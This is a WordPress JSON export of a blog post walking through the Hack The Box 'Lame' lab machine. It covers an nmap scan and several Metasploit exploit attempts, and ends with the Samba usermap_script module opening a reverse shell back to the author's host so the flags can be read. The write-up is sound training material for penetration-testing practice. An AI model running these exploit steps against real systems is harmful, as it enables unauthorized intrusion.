{"id":1563,"date":"2021-01-31T21:38:11","date_gmt":"2021-01-31T21:38:11","guid":{"rendered":"https:\/\/osintme.com\/?p=1563"},"modified":"2021-01-31T21:49:52","modified_gmt":"2021-01-31T21:49:52","slug":"hack-the-box-lame-walkthrough","status":"publish","type":"post","link":"https:\/\/osintme.com\/index.php\/2021\/01\/31\/hack-the-box-lame-walkthrough\/","title":{"rendered":"Hack The Box: Lame Walkthrough"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"1563\" class=\"elementor elementor-1563\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-0dc3a67 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"0dc3a67\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-9701b54\" data-id=\"9701b54\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-6e996fe elementor-widget elementor-widget-text-editor\" data-id=\"6e996fe\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>My 2021 New Year resolution was to take a shot at learning some penetration testing techniques.<\/p><p>In cybersecurity OSINT plays a big part &#8211; especially in pentesting.<\/p><p>But at the same time it is also significantly different to the OSINT that focuses on persons, companies, emails, websites and the general digital footprint.<\/p><p>In pentesting, OSINT can mean anything from passive reconnaissance of the target infrastructure, searching for CVEs, literature research (in absolutely any meaning of the word), to lurking on discussion forums or even reaching out to experts for advice.<\/p><p>That is why I recently signed up to <a href=\"https:\/\/www.hackthebox.eu\/home\">Hack the Box<\/a> &#8211; to do all that; and through it, to learn a ton of new stuff.<\/p><p>So here is my first training machine I managed to hack into.<\/p><p>The name very aptly describes my current pentesting skills &#8211; but from here I can only get better.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-54b6bfe elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"54b6bfe\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-24ca2c3\" data-id=\"24ca2c3\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-de65895 elementor-widget elementor-widget-text-editor\" data-id=\"de65895\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<h1>LAME Walkthrough<\/h1><p><a href=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103347615-629a7300-4a8f-11eb-8e64-f554af109f37.png?ssl=1\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103347615-629a7300-4a8f-11eb-8e64-f554af109f37.png?w=1200&#038;ssl=1\" alt=\"Screenshot 2020-12-30 at 10 32 03\" \/><\/a><\/p><p>This walkthrough was conducted using a Linux Parrot virtual machine.<\/p><h2><a id=\"user-content-nmap-scan\" class=\"anchor\" href=\"https:\/\/github.com\/osintme\/Hack-the-Box-Lame\/blob\/main\/LAME%20Walkthrough.md#nmap-scan\" aria-hidden=\"true\"><\/a>Nmap scan<\/h2><p>I began with an nmap scan of the machine&#8217;s IP address (which is not static, it changes with every instance):<\/p><pre><code>sudo nmap -T4 -A -v -p- 10.129.71.202\n\n  -T4 - the scan speed template, ranging from 0 (slow &amp; stealthy) to 5 (fast &amp; obvious)\n\n  -A - operating system and version check\n\n  -v - verbose output\n  \n  -p- - scan all 65535 ports on the IP address\n<\/code><\/pre><h2><a id=\"user-content-scan-result-summary\" class=\"anchor\" href=\"https:\/\/github.com\/osintme\/Hack-the-Box-Lame\/blob\/main\/LAME%20Walkthrough.md#scan-result-summary\" aria-hidden=\"true\"><\/a>Scan result summary<\/h2><p>The following 5 ports and services were identified:<\/p><pre><code>    21\/tcp   open  ftp          vsftpd 2.3.4\n    \n    22\/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)\n    \n    139\/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n    \n    445\/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)\n    \n    3632\/tcp open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))\n<\/code><\/pre><p><a href=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103349090-d63e7f00-4a93-11eb-8af4-7b4911db5030.png?ssl=1\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103349090-d63e7f00-4a93-11eb-8af4-7b4911db5030.png?w=1200&#038;ssl=1\" alt=\"nmap scan report\" \/><\/a><\/p><h2><a id=\"user-content-vsftpd-234\" class=\"anchor\" href=\"https:\/\/github.com\/osintme\/Hack-the-Box-Lame\/blob\/main\/LAME%20Walkthrough.md#vsftpd-234\" aria-hidden=\"true\"><\/a>vsftpd 2.3.4<\/h2><p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Vsftpd\" rel=\"nofollow\">https:\/\/en.wikipedia.org\/wiki\/Vsftpd<\/a><\/p><p>vsftpd is a default FTP (File Transfer Protocol) server for a number of Linux distributions and it&#8217;s used for storing and sharing files.<\/p><p>Very clearly this is an obsolete version of the service that is highly unlikely to be detected anymore in real life.<\/p><p>In 2011 there were reports of an exploit detected on an archived version of vsftpd 2.3.4 that enabled a malicious backdoor execution.<\/p><p><em>Online sources:\u00a0<a href=\"https:\/\/scarybeastsecurity.blogspot.com\/2011\/07\/alert-vsftpd-download-backdoored.html\" rel=\"nofollow\">Scary Beast Security<\/a>,\u00a0<a href=\"https:\/\/www.exploit-db.com\/exploits\/17491\" rel=\"nofollow\">Exploit DB<\/a>.<\/em><\/p><p>It is worth noting that (as per the screenshot above) it is possible to connect anonymously to the FTP service.<\/p><p>I started with launching Metasploit Framework in order to find out more about the exploit instead of relying on online sources:<\/p><pre><code>    msfconsole\n    \n    msf6 &gt; search vsftpd\n<\/code><\/pre><p><a href=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103353737-7ea71000-4aa1-11eb-9434-ab98d2814215.png?ssl=1\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103353737-7ea71000-4aa1-11eb-9434-ab98d2814215.png?w=1200&#038;ssl=1\" alt=\"vsftpd\" \/><\/a><\/p><p>To make use of this exploit, select it from the list (here we only have 1 option marked with a zero):<\/p><pre><code>    use 0\n<\/code><\/pre><p>I got the message about no payload configured, but then the command defaults to cmd\/unix\/interact.<\/p><p>You can display available options by adding the &#8220;&gt; show options&#8221;<\/p><pre><code>    exploit(unix\/ftp\/vsftpd_234_backdoor) &gt; show options\n<\/code><\/pre><p>I set the host to the machine&#8217;s IP address:<\/p><pre><code>    set RHOST 10.129.71.202\n<\/code><\/pre><p>Unfortunately, these efforts were met with a message: &#8220;Exploit completed, but no session was created&#8221;.<\/p><p>I went back to the command line, in order to see if connecting directly to the IP address would work&#8230;<\/p><pre><code>    msf6 &gt; exit\n\n    ftp 10.129.71.202\n<\/code><\/pre><p>When prompted here I tried a number of generic user names (user, admin, test, 123, etc.).<\/p><p>I took me a while until I tried &#8220;anonymous&#8221; (yes, the hint is in the initial scan result).<\/p><p>When prompted for password, I just hit ENTER.<\/p><p><a href=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103354745-47862e00-4aa4-11eb-8e66-4c66df72a56b.png?ssl=1\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/103354745-47862e00-4aa4-11eb-8e66-4c66df72a56b.png?w=1200&#038;ssl=1\" alt=\"ftp\" \/><\/a><\/p><p>Admittedly, I had no idea what to do next. I found a list of Linux FTP commands from\u00a0<a href=\"https:\/\/www.serv-u.com\/features\/file-transfer-protocol-server-linux\/commands\" rel=\"nofollow\">here<\/a>\u00a0and tried them all one after the other.<\/p><p>Nothing worked.<\/p><p><strong>NOTE:<\/strong>\u00a0At this point I took a long break and forgot to extend the uptime on the Lame machine.<\/p><p>This resulted in reseting the IP address, so I relaunched the machine on a new IP &#8211; 10.129.89.92.<\/p><h2><a id=\"user-content-openssh-47p1\" class=\"anchor\" href=\"https:\/\/github.com\/osintme\/Hack-the-Box-Lame\/blob\/main\/LAME%20Walkthrough.md#openssh-47p1\" aria-hidden=\"true\"><\/a>OpenSSH 4.7p1<\/h2><p><a href=\"https:\/\/en.wikipedia.org\/wiki\/OpenSSH\" rel=\"nofollow\">https:\/\/en.wikipedia.org\/wiki\/OpenSSH<\/a><\/p><p>OpenSSH (Secure Shell) is an encrypted, remote access service.<\/p><p>Version 4.7p1 has some known vulnerabilities listed\u00a0<a href=\"https:\/\/www.cvedetails.com\/vulnerability-list\/vendor_id-97\/product_id-585\/version_id-169731\/Openbsd-Openssh-4.7p1.html\" rel=\"nofollow\">here<\/a>.<\/p><p>Searching Metasploit again revealed some exploits for Windows OS, clearly of no use here.<\/p><h2><a id=\"user-content-samba-smbd-3x---4x\" class=\"anchor\" href=\"https:\/\/github.com\/osintme\/Hack-the-Box-Lame\/blob\/main\/LAME%20Walkthrough.md#samba-smbd-3x---4x\" aria-hidden=\"true\"><\/a>Samba smbd 3.X &#8211; 4.X<\/h2><p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Samba_(software)\" rel=\"nofollow\">https:\/\/en.wikipedia.org\/wiki\/Samba_(software)<\/a><\/p><p>Samba is a service that provides file and printer sharing options across various operating systems.<\/p><p>Metasploit lists 19 different vulnerabilities for the Samba 3 version. Not all of these apply as some relate to Windows and Unix systems.<\/p><p>I could have tried the relevant exploits one by one, but the better idea is to start with those ranked the highest (excellent).<\/p><pre><code>6 exploit\/linux\/samba\/is_known_pipename  2017-03-24  excellent  Samba is_known_pipename() Arbitrary Module Load\n<\/code><\/pre><p>The above exploit however seems to require\u00a0<a href=\"https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/samba\/is_known_pipename\/\" rel=\"nofollow\">valid credentials<\/a>, which I did not have. So I tried another:<\/p><pre><code>9 exploit\/linux\/samba\/trans2open  2003-04-07  great  Samba trans2open Overflow (Linux x86)\n\nmsf6 exploit &gt; use 9\n[*] No payload configured, defaulting to linux\/x86\/meterpreter\/reverse_tcp\nmsf6 exploit(linux\/samba\/trans2open) &gt; set RHOSTS 10.129.89.92\nRHOSTS =&gt; 10.129.89.92\nmsf6 exploit(linux\/samba\/trans2open) &gt; run\n\n[*] Started reverse TCP handler on 10.0.2.15:4444 \n[*] 10.129.89.92:139 - Trying return address 0xbffffdfc...\n[-] 10.129.89.92:139 - Exploit aborted due to failure: no-target: This target is not a vulnerable Samba server (Samba 3.0.20-Debian)\n[*]Exploit completed, but no session was created.\n<\/code><\/pre><p>I unsuccessfully tried a number of times, including the next exploit on the list:<\/p><pre><code>11  exploit\/multi\/samba\/usermap_script  2007-05-14   excellent   Samba \"username map script\" Command Execution\n\nmsf6 &gt; use 11\n[*] No payload configured, defaulting to cmd\/unix\/reverse_netcat\nmsf6 exploit(multi\/samba\/usermap_script) &gt; set RHOSTS 10.129.89.92\nRHOSTS =&gt; 10.129.89.92\nmsf6 exploit(multi\/samba\/usermap_script) &gt; run\n\n[*] Started reverse TCP handler on 10.0.2.15:4444 \n[*] Exploit completed, but no session was created.\n<\/code><\/pre><p>It took me a while to understand what I was doing wrong here.<\/p><pre><code>msf6 exploit(multi\/samba\/usermap_script) &gt; options\n<\/code><\/pre><p>The key was to understand that both the RHOSTS and LHOST IP addresses must be set correctly:<\/p><p><a href=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/106397050-6d845280-6403-11eb-949e-95fc2adc66f9.png?ssl=1\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/106397050-6d845280-6403-11eb-949e-95fc2adc66f9.png?w=1200&#038;ssl=1\" alt=\"Screenshot 2021-01-31 at 20 27 19\" \/><\/a><\/p><p>In my case this was not configured by default.<\/p><p>Luckily, the ifconfig command lets you check the tun0 address.<\/p><p>Then simply set LHOST to that IP:<\/p><pre><code>msf6 exploit(multi\/samba\/usermap_script) &gt; set LHOST 10.10.14.101\n<\/code><\/pre><p>Once everything is set, time to put the exploit to a test:<\/p><pre><code>msf6 exploit(multi\/samba\/usermap_script) &gt; run\n\n[*] Started reverse TCP handler on 10.10.14.101:4444 \n[*] Command shell session 1 opened (10.10.14.101:4444 -&gt; 10.129.89.92:56128) at 2021-01-31 15:20:45 -0500\n<\/code><\/pre><p>Listing directories with the dir command showed the presence of home and root directories.<\/p><p>I navigated wit the <strong>cd, ls \/ dir<\/strong> commands between home and root, then searched for text files and used the<strong> cat<\/strong> command to grab hash values:<\/p><p><a href=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/106397341-d1f3e180-6404-11eb-91e6-297a5be17d2d.png?ssl=1\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/user-images.githubusercontent.com\/76773900\/106397341-d1f3e180-6404-11eb-91e6-297a5be17d2d.png?w=1200&#038;ssl=1\" alt=\"Screenshot 2021-01-31 at 20 42 07\" \/><\/a><\/p><p>Don&#8217;t forget to return both user and root flags and claim ownership of Lame!<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>I explore another meaning of OSINT as I mark the beginning of my adventure with the Hack the Box platform.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[18],"tags":[60,121,11,83,122,87],"class_list":["post-1563","post","type-post","status-publish","format-standard","hentry","category-digital-privacy-security","tag-hacking","tag-htb","tag-linux","tag-manuals","tag-pentesting","tag-training"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/posts\/1563","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/comments?post=1563"}],"version-history":[{"count":13,"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/posts\/1563\/revisions"}],"predecessor-version":[{"id":1576,"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/posts\/1563\/revisions\/1576"}],"wp:attachment":[{"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/media?parent=1563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/categories?post=1563"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/osintme.com\/index.php\/wp-json\/wp\/v2\/tags?post=1563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}